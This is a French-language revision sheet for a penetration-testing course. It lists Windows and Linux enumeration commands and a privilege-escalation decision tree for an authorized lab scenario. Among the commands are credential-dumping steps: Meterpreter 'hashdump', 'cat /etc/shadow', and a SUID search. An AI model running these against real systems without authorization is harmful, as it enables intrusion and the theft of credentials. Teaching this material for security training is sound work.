Cette fiche regroupe les commandes qui permettent de passer rapidement d’une session Windows inconnue à une première cartographie locale. Elles servent à identifier l’utilisateur, les privilèges, le système, les processus, les services et la connectivité réseau avant de choisir une piste d’exploitation.
Cette fiche est destinée à la révision rapide. L'étudiant doit pouvoir associer chaque commande à une question : identité, privilèges, système, réseau, processus, services ou credentials. La mémorisation devient ainsi fonctionnelle plutôt que purement syntaxique.
# Identification whoami systeminfo whoami /priv whoami /groups # Réseau ipconfig /all route print netstat -ano # Utilisateurs / groupes net user net localgroup administrators # Services / processus sc query tasklist # Meterpreter sysinfo getuid getprivs ps migrate <PID> hashdump
La même logique s’applique sous Linux : commencer par l’identité et les privilèges, puis caractériser le système, le réseau, les processus et les services. Une bonne énumération locale permet ensuite de prioriser sudo, Cron, SUID, credentials ou kernel selon ce qui est réellement présent.
La même méthode s'applique sous Linux. Commencer par id et uname, puis passer au réseau, aux services et aux permissions permet de décider rationnellement entre sudo, SUID, Cron, kernel ou récupération de secrets.
# Identification id whoami uname -a cat /etc/os-release hostname # Privilèges sudo -l # Réseau ip a ip route ss -tulpn # Processus ps aux # Cron crontab -l cat /etc/crontab # SUID find / -perm -4000 -type f 2>/dev/null # Identifiants cat /etc/passwd cat /etc/shadow
L’arbre de décision aide à éviter une approche linéaire. Le bon chemin dépend de ce qui est découvert : un service vulnérable peut mener à l’exploitation distante, des identifiants peuvent ouvrir un service d’administration, tandis qu’une session limitée oriente plutôt vers la privilege escalation locale.
Le but de cet arbre est de réduire les essais inutiles. Si un service vulnérable est présent, on examine l'exploitation distante ; si des credentials sont disponibles, on teste les services d'administration ; si l'on possède déjà une session limitée, on privilégie l'énumération locale et la privilege escalation.
whoami /priv → groupe Administrators ? → UAC / Token / Kernel → identifiants.id → sudo -l → SUID → Cron → Kernel → identifiants.whoami/id avant de poursuivre.Ne mémorise pas seulement les commandes. Mémorise la question à laquelle chaque commande répond.
La fin du chapitre doit être comprise comme une méthode de raisonnement complète : partir d'une surface exposée, obtenir un accès dans le cadre du scénario autorisé, énumérer le contexte obtenu, rechercher une élévation de privilèges, puis identifier les secrets ou accès supplémentaires disponibles.
WebDAV, SMB, RDP, WinRM, kernel, UAC, tokens et credentials.
Shellshock, FTP, SSH, SAMBA, kernel, Cron, SUID, sudo et shadow.
Observer → formuler une hypothèse → tester → confirmer → documenter.